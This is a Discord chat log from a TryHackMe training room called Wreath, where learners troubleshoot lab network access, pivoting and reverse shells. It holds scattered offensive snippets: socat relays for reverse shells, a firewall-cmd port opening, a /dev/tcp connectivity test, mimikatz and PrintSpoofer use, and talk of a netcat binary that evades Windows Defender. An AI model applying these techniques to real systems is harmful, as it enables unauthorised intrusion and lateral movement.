Now that is because you don't have gitserver.thm in your hosts file
#wreath-network
merry robin
languid sphinx
so the Proxy was only onedirectional connection ? but then we uploaded the nc using the attacker ip
merry robin
Try doing it with the IP instead @high totem
merry robin
so the Proxy was only onedirectional connection ? but then we uploaded the nc us...
Which proxy?
high totem
Ok!!!
languid sphinx
the Pivoting
merry robin
the Pivoting
Which proxy in the pivoting section?
high totem
merry robin
.150 @high totem
merry robin
the one recommended to use chisel
Ah, the last practical pivot. What do you mean one directional?
brave forge
After four minute it downloaded. Thank you very much
merry robin
As in, does sshuttle create a one directional proxy?
merry robin
After four minute it downloaded. Thank you very much
Awesome!
high totem
languid sphinx
Ah, the last practical pivot. What do you mean one directional?
you said the ncat listener should be in the .150 machine , i say why not in the attacker machine
merry robin
That's looking good!
merry robin
you said the ncat listener should be in the .150 machine , i say why not in the...
Netcat should be listening on .200 if anywhere. Preferably it should be on the attacking machine with a relay
high totem
But still nothing happens here ....
merry robin
Essentially because yes, sshuttle creates a one-directional proxy
high totem
merry robin
But still nothing happens here ....
Do you have a netcat listener running on .200 still?
That'll be a yes
high totem
Do you have a netcat listener running on .200 still?
Yes
merry robin
Could you use firewall-cmd --zone public --list-all for me on .200?
high totem
Hold on, earthquake
merry robin
Wait, literally?
high totem
Wait, literally?
Yes... just for a few moments... phew, it stopped
I’m in the land of earthquakes... japan
languid sphinx
Netcat should be listening on .200 if anywhere. Preferably it should be on the a...
thanks ,
high totem
All right, I’ll list the ports .... but it won’t let me get out of the listener
merry robin
Oh, just ctrl + C the listener for now
high totem
merry robin
Ok, start the listener again, then try to connect to it from your Kali?
Just echo "Test" > /dev/tcp/10.200.106.200/16543
Or
echo "Test" | nc 10.200.106.200 16543 -w 1```Something like that
merry robin
Perfect, so it's a payload thing
Ok, restart the listener. Can you send me the curl command you used?
Like, the full thing
Okay, that looks good to me!
Where were you sending it from?
high totem
From my parrot terminal
merry robin
So you are. Apologies -- forgot there was a screenshot
high totem
Now it looks like this...
merry robin
Okay, you've got sshuttle running, yeah?
high totem
merry robin
That would indicate either no, or the network went to sleep
high totem
merry robin
Cool. Can you access 10.200.106.150 in your web browser?
high totem
merry robin
Perfect. Ok, now what happens when you execute the curl command?
loud talon
Hello, I'm having issues to download my .ovpn file in order to connect to #wreath-network since 3 or 4 days I'm having this same problem https://ibb.co/QQjbn78 any idea to solve the issue?
high totem
And the nc listener still does nothing
merry robin
There is a listener running at the same time, yeah?
If there is then it's a payload thing
Blugh. Then I'm missing something in that payload
-undelete -a
high totem
Oh oh oh
merry robin
Hello, I'm having issues to download my .ovpn file in order to connect to <#8215...
Not a clue -- I can't see the image :)
If you verify then you can send it directly
high totem
merry robin
!docs verify
thin crescentBOT
TryHackMe
high totem
Ayeeeeeeee!
But then nothing happens
merry robin
Press enter in that shell
high totem
Where is the pc prompt
high totem
Ohhhhhh myyyyyy gooooooood
I want to cry
I’ve been stuck on this for 2 days
I’m so happy
merry robin
Has that been the problem the entire time?
high totem
merry robin
Yessssssss. Nice one!
high totem
Has that been the problem the entire time?
YESSS!!!!!!!!!!
high totem
Oooohhhh myyyyyy gooooood
NOW I can go on
So so happy
Too bad you can’t see my huge smile
Thank you so much Muiri really
merry robin
Np! 😄
high totem
Now I’m not moving an inch from this laptop
merry robin
Set up persistence quick! 😁
loud talon
Not a clue -- I can't see the image :)
If you verify then you can send it direct...
yiks... i can't drag n drop the image here 😦
let me google that, sorry 😕
thin crescentBOT
TryHackMe
dry pendant
minor typo: task 9, "outwith the scope" should be outside
loud talon
@merry robin despite of the error I've downloaded a .ovpn by refreshing the page but have issue trying to connect to the network...
strange bison
What's up? Muir's gone to bed
loud talon
I did a less to that .ovpn file and the first of the lines say this: <!DOCTYPE html><html><head><title>TryHackMe | 404 - An error occured.</title><meta name="description" content="TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!" />
merry robin
@dry pendant
strange bison
lmao that example
merry robin
It's part of Scots dialect 😛
dry pendant
I thought you lived in the UK, not scotland
merry robin
Scotland is part of the UK (for now)
dry pendant
but okay, fair enough
loud talon
trying to be a security professional but I have difficulties to upload an image to this discord chat 😂
dry pendant
ascii art and interpretive emojis ftw
loud talon
hahaha
strange bison
trying to be a security professional but I have difficulties to upload an image ...
Again, you'll need to verify with the tryhackme bot
!docs verify
thin crescentBOT
TryHackMe
strange bison
Follow the instructions in that link
loud talon
Aaaww thank you! I can upload images now ❤️
strange bison
👍
loud talon
that's the error I have every time I want to download the .ovpn file (even now despite I'm a verified user)
cobalt pumice
Im getting rce but still no shell👀
strange bison
that's the error I have every time I want to download the .ovpn file (even now d...
@limber rover Can you take a look at this in the morning? Something seems broken
Verifying just gives you some more perms in the discord and links your site account to your discord account, doesn't fix anything.
Allows you to send images here.
loud talon
that's the error I have every time I want to download the .ovpn file (even now d...
( the .ovpn file in order to connect to #wreath-network )
pale seal
nmap port scan is not working in the machine.
/tmp/nmap-thormm 10.200.10.100
[-] Failed to execute command
-sS -sN, etc..
loud talon
Verifying just gives you some more perms in the discord and links your site acco...
sure, my bad, sorry
strange bison
I've pinged skidy, you might need to just wait until he can take a look. It's 2:27am in the UK RN
loud talon
I've pinged skidy, you might need to just wait until he can take a look. It's 2:...
Really apreciated @strange bison thank you! 🙏
dry pendant
Muiri: +1 for the portal reference 😁
high totem
I have mimikatz installed here on parrot os
I’m running the power shell as administrator
The name of the share is share
Sorry for the long time.... the network kicked me out and I had to connect all over again (o^^o)
I copied the tsclient command from the task, since I can’t type the back slash on my laptop’s keyboard
(One of the reasons I don’t use Windows lol Linux only here)
I watched the walkthrough video for this before bothering here... but it didn’t say anything on this error... he named his share differently... I just kept “share”! Is this the problem?
high totem
YAY!!!! My stupid brain was finally able to solve a problem by its own!!!!!!
I thought about it, and realized mimikatz was not in the Windows-resources here on parrot OS... so I just moved it , and BOOM
Parrot OS users... mimikatz is not on windows-resources.... it is inside share, so you need to move it to windows-resources in the terminal
sudo mv... etc
strange bison
That's good to know, and I'm glad you worked it out.
high totem
That's good to know, and I'm glad you worked it out.
When you install mimikatz here on parrot, it goes inside /usr/share ... not inside usr/share/windows-resources
So the GUI task won’t work for parrot os users unless mimikatz is moved into windows-resources
If they are copying the commands from the task, it says a good directory to share is usr/share/Windows-resources but if mimikatz is not there it won’t work lol
strange bison
I'm fairly sure the room is written assuming Kali or the AttackBox
I tested it on a fresh install of Kali.
high totem
Sorry 😞
strange bison
Don't apologise, it just means sometomes you need to put in work that Kali uses wouldn't, like here.
high totem
I know I should use Kali instead of parrot, but all I have is a 10 year+old laptop which I recently put more ram so it has 8g of ram ... I do have Kali in a VM but the old laptop gets angry at me when I deploy it. I could’ve used the attack box, but for some reason the mouse cursor doesn’t work for me here, when I try to use TryHackMe attack box.
So all I have is my own distro to do this, I’m sorry 😞
strange bison
I used a roughly 7-9 year old thinkpad to test it, with a Kali VM.
formal pagoda
facing issue while forwarding port using chisel in Wreath room Task 33, I did follow the video but still cant access 10.200.N.100 web page
bright knoll
Hello everyone
I just have issues with Prod-serv. I restarted the network and webmin is unreachable
network 72
bright knoll
I was about to start over so that I could resume from task33 ,but privatekey changed on prod-serv and webmin server not available
someone please help me reset the network
merry robin
@bright knoll you're in my dev network anyway, which accidentally had a hundred people shoved into it so you're never going to manage a reset. Leave the room and rejoin -- you'll get put into a network with a more manageable number of people.
bright knoll
@merry robin gooood to know 😄 thanks 😄
mighty elk
Goodmorning and Hello, Kudos to @merry robin for this amazing room 
I need help with creating a socat proxy between the attacking box and the git-serv in the Task 20. ( I've tried using netcat directly on the prod-serv and I do get a reverse-shell, but I still want to try socat Port Forwarding - Quiet method mentioned in the Task 13). 
kali box == sudo nc -lnvp 8008
kali box == ./socat tcp-l:8000,fork,reuseaddr tcp-l:8001 &
prod-serv == firewall-cmd --zone=public --add-port 16696/tcp
prod-serv == ./socat tcp:10.50.104.25:8001 tcp:10.200.103.150:16696,fork &
as soon as I send the powershell rev-shell to the git-serv, socat in the kalibox says that the port 8000 is already in use. 😭
Thanks!
slow cove
@merry robin I just wanted to say thank you for wreath I haven't completed it Yet but I really like the pivoting part and I am writing a whole guide from the pivoting part I will soon publish it and ofcourse thank you !
shrewd bear
Wreath Network Says running, but it's not responding. 5/8 resets requested. I'm connected to the network. nmap can't find any ports open on the webserver. Anyone else experiencing network issues?
somber blade
show me what you doing i just started and everything is fine nmap is scanning fine
mighty elk
@shrewd bear I guess we both are on the same network 10.200.103.0, everything is find on my side. Is your sshuttle on? just check connecting to the server (prod-serv) via firefox.
shrewd bear
10.50.103 is the network I'm connected too
mighty elk
where are you nmapping from? the prod-serv?
somber blade
10.50.103 is the network I'm connected too
Oh
shrewd bear
I wanted to continue from task 17, where I left it at yesterday. Connecting to the VPN I wanted to ssh back into to the westerner but could not, so I was just running nmap on the ports that should be open. Getting nothing back from nmap though.
Webserver
somber blade
maybe regenerate your connection or try something maybe it'll work
mighty elk
I wanted to continue from task 17, where I left it at yesterday. Connecting to t...
Check your VPN, then open firefox and see if you can get to the webpage with the IP address or the hostname. (note : the OpenVPN console must print : Initialization Sequence Completed, for a success connection)
then ssh into the webserver and run your nmap scan from there, as mentioned in the Task 17.
shrewd bear
Was thinking I might regenerate the vpn config again. VPN is saying 'Initialization Sequence Complete' Can't ssh that's the problem... not responding
somber blade
damn
mighty elk
Was thinking I might regenerate the vpn config again. VPN is saying 'Initializat...
Oh... 
mighty elk
Was thinking I might regenerate the vpn config again. VPN is saying 'Initializat...
did you try restarting your box? is your id_rsa correct? do you even get access to the webpage of the server? if noting works, wait for another response from here. Sorry m8 
shrewd bear
Regenerated the vpn but still the same issue. No access to the webpage. Like I said nmap is showing no response from the webserver, so I cannot even access the webpage. Thanks for trying to help 🙂
tardy bloom
did you also check your local routes, maybe something got rekt there?
shrewd bear
Tried connecting to the vpn on two different boxes and the result is the same.. not able to contact the webserver.
tardy bloom
I'm experiencing >50% packet loss in network 10.200.87 through the last hour:
--- thomaswreath.thm ping statistics ---
2297 packets transmitted, 1096 received, 52.2856% packet loss, time 2326400ms
rtt min/avg/max/mdev = 0.770/1.298/7.394/0.466 ms
Connected through a browser-based Kali machine
shrewd bear
All good again after the network state went back to stopped I was able to start it again and can now access the webserver and ssh to it again.
bright knoll
@merry robin i just finished the room . Thank you . I have only one question . On the desktop pc only the linked netcat evaded the AV all other netcat binary got deleted on execute
slow cove
Nvm hahaha
main timber
i can't seem to cat in the stabalized shell
is anyone facing this
?
ok maybe i need to use the attackbox
actually no it seems like the private key is really empty
i can cat the public key
but not the private
oh ok seems like it's by design
the private key is not really needed for another level it seems
merry robin
<@!650476435269484549> i just finished the room . Thank you . I have only one qu...
Wdym?
@shrewd bear @mighty elk if someone decides to troll and shut down the box then there isn't a lot we can do other than reset I'm afraid. If I catch anyone doing that they're getting banned though.
shrewd bear
@merry robin Thanks
hexed oracle
I can't access the network even with a freshly generated vpn config
bright knoll
Wdym?
Every netcat binary version expect the the one in the repo which you included in the description got deleted by the Windows defender . I did it with what you provided but it was weird . This happened on the desktop pc
merry robin
Why do you think I linked that repo? 😁
pale seal
Woke up wiht a fresh morning with the excitement of continuing Wreath network.
Connected openevpn
./CVE-2019-15107.py 10.200.72.200
[-] Failed to connect to http://10.200.72.200:10000/
Okay.. What's going on?
sudo nmap -sS -T4 -p 10000 10.200.72.200
10000/tcp closed snet-sensor-mgmt
What an adequate morning it is!
Can someone let me know that I am not the only one facing this issue?
merry robin
@pale seal you're in my dev subnet for a start. Try leaving, rejoining, then redownloading the config pack
unborn wren
Am i the only one who cannot access the Wreath Network?
I already done all the exploitation, i had the SSH key but now is saying this
https://i.imgur.com/HiXtSQ4.png
I tried to exploit it again but it seems that the vulnerable service is shutdown
I re-downloaded the VPN and rejoined the room too, idk what to do
ThorMM did it work for ya?
It's sad because i really liked the room
pale seal
@unborn wren Unfortunately, nope! Re-downloading (regenerated version) config pack hasn't solved my problem.
unborn wren
Ok now maybe it will work, but it doesn't even ping the machine
i'll wait a few minutes
pale seal
yea, that's the plan for now.
unborn wren
idk y but when i redownloaded for the second time the configuration, the target and mine's IP changed
pale seal
That's interesting.
merry robin
@unborn wren look up just a little in the chat. 72 is the dev subnet which a bunch of people got shoehorned into by accident.
Leave the room, rejoin, redownload the pack.
merry robin
Sounds like you already did, if the IPs changed
unborn wren
thanks
merry robin
^^, Np
unborn wren
The room is really cool!
merry robin
@pale seal if you fancy reading that message (or one of the two identical ones I sent in 5 minutes), it should sort it for you as well
unborn wren
thanks for the time you spent, i really appreciate it
merry robin
Glad you're enjoying it! 😄
pale seal
It's working for me now too.
merry robin
Perfect 😄
unborn wren
nvm
unborn wren
Nothin i solved
i tought .200 .100 had different website
and couldn't figure it out why my pivoting wasn't working
👍 💯
merry robin
Ahahah, faiiir
pale seal
I have a problem trying to ssh to ||.200|| and also sshuttle is not working because of "Permission denied (publickey,gssapi-keyex,gssapi-with-mic)."
I looked up here if anyone had this problem before and found that on 3/25/21, a few had encountered this problem. The cause reason was mentioned that it had to do with someone messing with id_rsa.pub file. Am I facing the same case?
fading girder
Huii i unlocked the networks room yesterday, i wanna know a few things.
- wat is it exactly
- do i lose it if i break my login streak
- is it limited time
strange bison
Huii i unlocked the networks room yesterday, i wanna know a few things.
1) wat...
- A collection of boxes on a network to learn pivoting and C2 etc
- No, as long as you joined when you had the streak/subscription
- Kind of. You get 10 days of access, after which you have to rejoin. This helps avoid having networks with inactive users.
fading girder
Alright thankss! :D
merry robin
I have a problem trying to ssh to ||.200|| and also sshuttle is not working beca...
Yeah. Disconnect and DM me your config file please 🙂
wanton karma
Hi guys, currently doing wreath network, after establishing persistence and took the id_rsa file, I'm trying to connect to the machine using ssh however I receive permission denied
Anyone experienced this and know why is happening?
added 600 permission to the id_rsa
and no space in the content
merry robin
DM me the key please
loud talon
Since 5 days ago I can't download the .ovpn file in order to access to #wreath-network someone had same experience? 😢
strange bison
I pinged skidy
loud talon
Thank you again @strange bison 😄
strange bison
It's a matter of patience
loud talon
okay ^^
mortal nexus
allo, with wreath the final windows service has been gone for a few days
i skipped this part using printspoofer, so its just an fyi. a crash or something? i was having trouble exploiting it when it was there - maybe it died
merry robin
How the hell is Printspoofer working on an up-to-date Windows server smh
Goddamnit Microsoft
merry robin
It's got a scheduled task propping it back up every 5 minutes, so I'm not sure what's happened there
merry robin
Mind passing me your config pack?
mortal nexus
sure
merry robin
Ta 🙂
rapid turret
Are there a tool that i can use to make armitage diagram like the one on the top of the page in wreath room?
merry robin
If anyone had a shell on 10.200.96.100 and just lost it: apologies. Some selfish moron has decided it would be funny to uninstall the privesc. Needed to restart, and may need a reset
limber rover
I pinged skidy
Thanks for the ping:) Dealing with this now
limber rover
Since 5 days ago I can't download the .ovpn file in order to access to <#8215082...
Hey sorry about that - can you please give me an IP of a machine on your network please?
lilac ibex
Is Wreath streamable?
merry robin
It is now, yes 🙂
lilac ibex
sweet
sharp folio
Anyone have problem to access machine with ip 10.200.118.x
Destination Host Unreachable
I try regenerate config file but still can't access the machine
loud talon
Hey sorry about that - can you please give me an IP of a machine on your network...
Thank you @limber rover i will DM r n 🙂
merry robin
Check that the network is alive for me?
winged ledge
merry robin
Looks like that may need a reset then
drowsy pine
@sharp folio same issue in my network. Logged in to resume and could not ssh in with they key. Ping,nmap and unicorn have host unreachable or cannot connect to device at port 22
merry robin
Which subnet are you in @drowsy pine?
drowsy pine
10.200.98.0/24
merry robin
98
drowsy pine
Yes
merry robin
@limber rover if you're around would you be able to check the status on 98 and 118? 🙂
sharp folio
Thx @merry robin for your response, waiting @limber rover check the network
merry robin
Np, but please don't ping poor Skidy more than needed 🙂
sharp folio
Yes sir
sharp folio
<@603160135795343390> same issue in my network. Logged in to resume and could no...
I found this issue after machine stoped, and then i start again, status running but cannot access the machine
drowsy pine
Same here.
jagged lion
Np, but please don't ping poor Skidy more than needed 🙂
PONG PONG PONG
dry pendant
Muiri- the pivoting writeups are incredibly well done, very educational. Thank you for the time and effort you put into them
as a noob, it's helped me a lot to understand what's going on
limber rover
<@!243160021674754048> if you're around would you be able to check the status on...
Let me take a look:)
merry robin
Thanks! 🙂
limber rover
<@!243160021674754048> if you're around would you be able to check the status on...
.98 shows as running
.118 shows as a deleted network?
limber rover
Opps sorry, a network was deleted with that range and a new one was created shortly after.
.118 is a stopped network, the user just needs to start it:)
merry robin
Interesting. I wonder if it was hit by that front-end extend thing?
Not sure if that was sorted?
limber rover
Its on my list:) I'll get on that this week
merry robin
Ah, cool 😁
Yeah, I think that's hit a few times recently, from the sounds of it
Networks being stopped but showing as active
Getting that fixed will definitely reduce it a bit at least
limber rover
Yeah with the number of networks, its going to happen more often - so that will be fixed this week:)
merry robin
Awesome. Thanks Skidy!
limber rover
No worries:) Thanks for letting me know about the other networks - also, just ping me with a list to check if others report problems:)
merry robin
Will do 🙂
dry pendant
not directly related to wreath, but I had a lot of trouble stabilizing my reverse shell from the first machine in task 6. For my needs, and at the time, I didn't need it, so I moved on, but it's something I need to come back to at some point. Besides the 'what the shell' room, do you have any good resources for understanding the various methods there? Websites/books/etc.?
merry robin
I made the What the Shell room based off of my own notebook, so, I'm not sure I do, unfortunately :(
I tend to just rewrite things into my notes, rather than taking direct references.
Others might though
strange bison
If you're on zsh, the "magic" stabilisation needs a smol change
dry pendant
no problem, was just curious. I haven't done the shell room yet, so I'm sure it'll answer some of my questions, but that's an area I feel pretty weak in still
magic stabilization?
pallid vapor
magic
dry pendant
🪄
strange bison
$ stty raw -echo $ fg
needs to be
$ stty raw -echo; fg
pallid vapor
😂
dry pendant
yeah, so that's actually one of the methods I tried, James. But instead of stabilizing it, the text got moved over to the right, and I didn't have an actual stable shell- no autocomplete, no arrow navigation, etc
the prompt/text was corrupted
pallid vapor
did you try reset?
dry pendant
at one point, my terminal window even froze, and I had to kill the process. I tried a few different things and none worked
pallid vapor
oof
dry pendant
yeah, tried a reset
although if memory serves (and I may be wrong here, it was late, I was tired, and I tried a few different things), the times I tried reset were in a "corrupted" shell
so that command probably wasn't being executed at all
strange bison
yeah, so that's actually one of the methods I tried, James. But instead of stabi...
Yeah, so that'll probably be the ZSH bit messing you up
dry pendant
but you say that doing the single line
stty raw -echo; fg
if the correct way? Because I'm certain I tried that
dry pendant
for the bonus question in task 13- I have the .pem file on my attacker machine. Since at this point, I don't have anything beyond the first machine enumerated, how can I test that I've done the bonus question correctly?
woven vault
im stuck on wreath last 2 question on task 38 can i pm someone ?
merry robin
for the bonus question in task 13- I have the .pem file on my attacker machine. ...
You can either forward something from that machine, or try it between local machines
merry robin
im stuck on wreath last 2 question on task 38 can i pm someone ?
Just ask here -- it may help others who are stuck in the same place 🙂
dry pendant
You can either forward something from that machine, or try it between local mach...
Not sure I fully understand
but I'm thinking maybe it'll be easier to test once I have a third machine to forward to?
merry robin
That would be the other option
In terms of a local port forward, you could do something like forward the website on the compromised machine to a local port on your own machine
The fact that it's accessible without it doesn't stop you from testing it
dry pendant
hm, okay
dry pendant
is the syntax for the chisel remote port forward correct? THe instructions state port 2222 but the example command uses 1337
or is that actually opening two ports on the attacker machine?
jagged lion
an example command is exactly that an example
dry pendant
sorry for the stupid question- still trying to understand it. Am I correct in thinking that two ports get opened on the attacker machine? the 1337 server, and the 2222 that gets forwarded to the compromised machine, and then on to port 22 of the target?
lilac ibex
alright who closed ssh?
dry pendant
alright who closed ssh?
Pretty sure I'm not on that network, but it's certainly possible I broke something with my recent forwarding practice
lilac ibex
what subnet is your connection on?
mine is 10.50.92.0/24
if you are on that one it's broken
dry pendant
10.200.115.200 is the only IP i've been working with so far
lilac ibex
ok
mmmm
well no ports are open weird
@dry pendant I don't think it's you I think the network is being overloaded or something
@dry pendant did you get your pivots to work?
dry pendant
yeah, I'm fairly certain we're on different subnets, but I've been playing around with chisel the last hour, and did just kill some processes on the first machine
as for pivots, no not yet. I haven't enumerated into the network yet, still trying to wrap my head around the pivoting instructions
I'm on task 14
woven vault
Just ask here -- it may help others who are stuck in the same place 🙂
nevermind just got it 😄 thanks anyway
lilac ibex
@dry pendant do you need any pivoting help?
dry pendant
<@!815077626418954251> do you need any pivoting help?
Thanks. Not at the moment. I might tomorrow, but I'm about to call it a night. I actually just did the nmap scan on the first machine. I think once I play around with the instructions in the previous tasks and have an actual target to forward to, it'll start to make more sense for me
Does anyone happen to know if the python -m http.server also supports file uploads? Trying to send my scans from the compromised machine back to my attacker machine. From my searches so far (and failed curl -F), seems like the answer is no
lilac ibex
python only serves files. you @dry pendant you have to transfer with wget, curl, or other from the victim machine as a request to your python webserver. Unless there is something I dont know
but since you have ssh sftp or scp can be used to move files.
dry pendant
yeah, I have the python web server running on my attacker machine, was trying to curl from the compromised/scanned machine to my attacker box, but get 500s back, which isn't a big surprise
but yeah, I can ssh and do something else, just wasn't sure of the best/easiest way to do it offhand.
lilac ibex
are you using the public ip in the curl request?
wait nvm
that would be no connection
round tree
What do I do if I don't see anything in the network panel
dry pendant
i used my tun0 vpn ip
Trix- maybe tryr refreshing the page and seeing if the server is stopped, then hit start?
round tree
Even after a refresh, the panel is still blank. And yes, it's running
lilac ibex
@dry pendant did you change the port served
dry pendant
no, it's on port 80 (python3 -m http.server 80)
lilac ibex
it default to port 8000 but you put it on 80 which shouldn't be a problem
dry pendant
yeah, I think it just doesn't allow posts
lilac ibex
curl -o not working right?
strange bison
What network panel?
round tree
What network panel?
The big black thing at the top of the page
It's blank but according to the task there should be an IP there
dry pendant
I did a:
curl -F 'data=myfile.gnmap' 10....<my vpn ip>, but get a 501 back
round tree
501 Not Implemented?
round tree
I did a:
curl -F 'data=myfile.gnmap' 10....<my vpn ip>, but get a 501 back
"The request method is not supported by the server and cannot be handled"
lilac ibex
@dry pendant you might not need the -F curl http://lhost/filename -o output-filename
dry pendant
And that's for uploading to http://lhost ?
lilac ibex
@round tree it took me a few times to get that to show after question where answered not sure if that's the problem
@dry pendant maybe the python web doesn't support curl -F you could try starting a Apache webserver and downloading the file from that
or PHP webserver or other
dry pendant
trying to upload though, not down (upload from internal/compromised machine to my local attacker machine)
I can download from attacker machine to compromised machine, but I think to go the other direction I need to start some other service on one or the other machine, or maybe some other approach
lilac ibex
file attack -> victim machine right?
round tree
<@213925699122102272> it took me a few times to get that to show after question ...
I've refreshed multiple times and still nothing
lilac ibex
oh victim-> attcker
lilac ibex
I've refreshed multiple times and still nothing
not f5 like a question that hasn't been answered but dont remember
dry pendant
right. I performed the scan on the victim machine, trying to get that scan output file back to my own machine. Easy workaround is to just cat the file in the remote shell and paste it on my local box
lilac ibex
was smashing through it and realize I could see the network
@dry pendant you can sftp. it is like ftp but over ssh
round tree
s c p
dry pendant
but I'd need to start an sftp service first, right?
dry pendant
oh
lilac ibex
man sftp
round tree
Should I spam my function keys
dry pendant
I thought it would only work against a running service
lilac ibex
the first machine?
round tree
y e s
lilac ibex
10.200.92.200
dry pendant
depends on which network you are assigned to
the first machine in my network is 10.200.115.200
lilac ibex
@dry pendant hope that works and oh really?
dry pendant
yeah, there are many instances of the network running. People get assigned based on which ones are full.
strange bison
Sounds like extensions
dry pendant
do you have some extension on your pc browser that could be blocking it? flashblock or something?
strange bison
Won't be flash but yeah
round tree
Nope
My browser is managed by my organisation since I'm on a school laptop so could have something to do with that
lavish nest
Hi, impossible to work with 10.200.106.200 20''/30'' second delay in each keystroke.
lavish nest
Network state :Resetting 👍
winter nebula
I have 7 days streak but not able to access to it
lavish nest
I have 7 days streak but not able to access to it
Hi, You have connected to the vpn wreath first, right?
lavish nest
I have 7 days streak but not able to access to it
Then, run a basic nmap, and try to connect to a port even if you don't have credentials yet.
lavish nest
An administrator will be able to answer you, sorry.
lavish nest
It is rare. The tunnel works correctly but the network to 10.200.106.200 fails.
64 bytes from 10.200.106.200: icmp_seq=437 ttl=63 time=26.8 ms next 64 bytes from 10.200.106.200: icmp_seq=561 ttl=63 time=26.2 ms 124 packets lost , for every 120 packets sent (icmp), there is a connection loss, which lasts 124 packets (icmp)
merry robin
Does anyone happen to know if the python -m http.server also supports file uploa...
Have a look into "updog"
high totem
Hi, impossible to work with 10.200.106.200 20''/30'' second delay in each keyst...
I was in that network!!! I surprisingly was able to finish it yesterday evening!! Everything was very slow (the evilwinrm download that in the task says that it will be only a minute or two....took 45 minutes for me 🤣)... I did notice also a delay in each keystroke and all responses were really delayed... I was blaming it on the crappy Japanese internet (contrary to popular belief this is not a high tech country and internet connection is REALLY slow) ... but I’m surprised I’m not the only one! I wonder how many people are/were in the 106 network!!
@merry robin I was able to finish the Wreath network!!!!!! ٩(๑❛ᴗ❛๑)۶
I want to say thank you so much for everything and your patience guiding me the times I was stuck!!! Couldn’t have done it without you!!
Thank you thank you thank you!!
Even though I’m finished, am I able to still connect to it through the 106 network that was assigned to me using the VPN?
This is such a wonderful learning opportunity, I do want to do it all over again, for practice.
I did write lots of notes and commands I used etc, and I feel that doing it again, this time with much better understanding will be really valuable to me.
Would it bother other users who haven’t completed it yet if I work on it again?
merry robin
Well done @high totem!
Yep, you are still able to connect to it and do it again. It won't bother other users -- it would either be you or someone else doing it 🤷♂️
Not sure what your timeout is in terms of the 10 day thing, but if you get removed you can just rejoin :)
high totem
Well done <@795617597726261278>!
Yep, you are still able to connect to it and do...
I don’t think I’m aware of a 10 day timeout??
But I’m thrilled that I can redo it to practice everything I learned, and I really want to thank you for making this wonderful network for us. Really appreciate it!! 😊
lilac jasper
the RCE_exploit_for_version_2.3.10 code is not working
in python2
i did pip install requests but still not working
even in python3
merry robin
There's a 10 day limit on the room to prevent people from taking up space in a network if they aren't actually using it. If you look at the top left of the screen under the banner it should show you how long you have left @high totem
If that expires then you can just rejoin though 🙂
No problem with people rejoining as long as they are actually doing something with it
@lilac jasper python2 -m pip install requests
If that fails, search for the PyPy get-pip.py script online, run it with python2, then use the command again.
lilac jasper
i did
merry robin
If that fails, just use the python3 conversation I have pinned in here.
lilac jasper
okay thank you
high totem
There's a 10 day limit on the room to prevent people from taking up space in a n...
Thank you so much! I just connected through the VPN and it let me in (๑･̑◡･̑๑)
merry robin
Perfect 😁
lilac jasper
sir do i have to do chmod +x 43....py ??
because it's still not working
it get freeze at Get user list
rapid turret
Error: An error of type Errno::ENOENT happened, message is No such file or directory @ rb_sysopen - /opt/Empire/data/module_source/situational_awareness/network/Invoke-Portscan.ps1-Hosts10.200.112.100-TopPorts50
Error: Exiting with code 1
im getting this error when im trying to use empire portscanner
merry robin
What command are you trying to use?
rapid turret
Invoke-Portscan.ps1 -Hosts 10.200.112.100 -TopPorts 50
if i use it without ".ps1" its doesnt recognize it
merry robin
You need to import it first
. .\Invoke-Portscan.ps1
Oh, might not need the .\
Can't remember
rapid turret
thank you
merry robin
Oh, doesn't even need the .
Just Invoke-Portscan.ps1 then run the command without the .ps1
lilac jasper
sir do i have to do chmod +x 43....py ??
?
uneven whale
Anyone having issues to download the ovpn for the network ?
willow thistle
anyone get this error when connecting
winged parcel
ya I also have an error when dowloading the ovpn configuration file
willow thistle
i can download the file. But when i try to connect i get that 😄
winged parcel
it's because it's a html file that you are passing to ovpn as argument, it's indicating a 404 error
winged parcel
the same thing happened to me 😅
woven warren
@merry robin can you see if there is an issue creating vpn files
merry robin
Nope. That's technically an Ashu thing
ember solstice
Hey, i cant view thomaswreath.thm (.200) in my browser (firefox), i have added it to my hosts file, tried manually adding thomaswreath.thm to exceptions by deleting the certificate in my browser and adding again (which BTW i couldn't add it back), thought maybe firefox was ignoring /etc/hosts so i read online and disabled "network.dns.offline-localhost" in firefox (since curl can reach it with --insecure) but no luck, any suggestions ?
oh and i have finished Wreath im just making a video on it, everything was working fine before today
Visiting "http://thomaswreath.thm" retruns:
Name Error: The domain name does not exist.
surreal sail
10.200.88.200 - Destination Host Unreachable
merry robin
Hey, i cant view thomaswreath.thm (.200) in my browser (firefox), i have added i...
You're saying that curl can reach it but firefox can't?
merry robin
10.200.88.200 - Destination Host Unreachable
Is the network active?
ember solstice
You're saying that curl can reach it but firefox can't?
Yeah, firefox was being weird idk why, changed my subnet tho everything works fine now
crude drift
Thomas is a software engineer ig
merry robin
Who is Thomas? 🤣
A fictional character I made up for the network
merry robin
That was the "in-story" explanation
dark venture
got it
merry robin
The actual instructions are just below it
merry robin
Look forward to reading it 😄
surreal sail
Is the network active?
now its working fine :) thx.
fleet badge
I wanted to try wreath today, but I am having problems connecting.
What I did was, downloading the config file and using it with openvpn.
The page is telling me that I am connected but I cannot ping the host and nmap says it's down.
I tried regenerating the config file but that didn't help either.
rapid turret
Hey can I get a reset for 10.200.112.x
Im in the same subnet i cant reach .200
hot cobalt
I wanted to try wreath today, but I am having problems connecting.
What I did ...
Make sure you download the network VPN configuration and not the normal one
crisp gazelle
Im in the same subnet i cant reach .200
glads its not just me ive been pinging it for ages
fleet badge
Yeah this step I did right 😂
Don't know what's wrong though, I will try working with the attack box
That was also not working. Gonna restart everything now.
ember solstice
@obtuse chasm Are you doing a forward proxy with chisel ?
obtuse chasm
@ember solstice yes
ember solstice
you connect to it from your attacker box with no problems ?
obtuse chasm
Yes
ember solstice
to the server which should be on .150
obtuse chasm
Ya
ember solstice
are you trying curl or in browser ?
obtuse chasm
Both but curl stays unresponsive and browser throws empty response
ember solstice
did you setup foxy proxy ( or an equivalent) on your browser?
did you run curl through proxychains ?
obtuse chasm
Ya
ember solstice
with proxychains.conf modified that is
ember solstice
so whats the problem here ? the page is not loading ?
obtuse chasm
Yes
ember solstice
try proxychains curl 10.200.x.100 what do you get back ?
obtuse chasm
Ok
ember solstice
no need for (--insecure)
obtuse chasm
Ok
ember solstice
And btw did you add the firewall rule just incase ?
ember solstice
Great!
obtuse chasm
Hmmm @ember solstice bro it works on curl but not on browser even after proxy
Is there any thing i should add
ember solstice
Is there any thing i should add
Yeah, Foxyproxy, could you send ss of your foxyproxy options ?
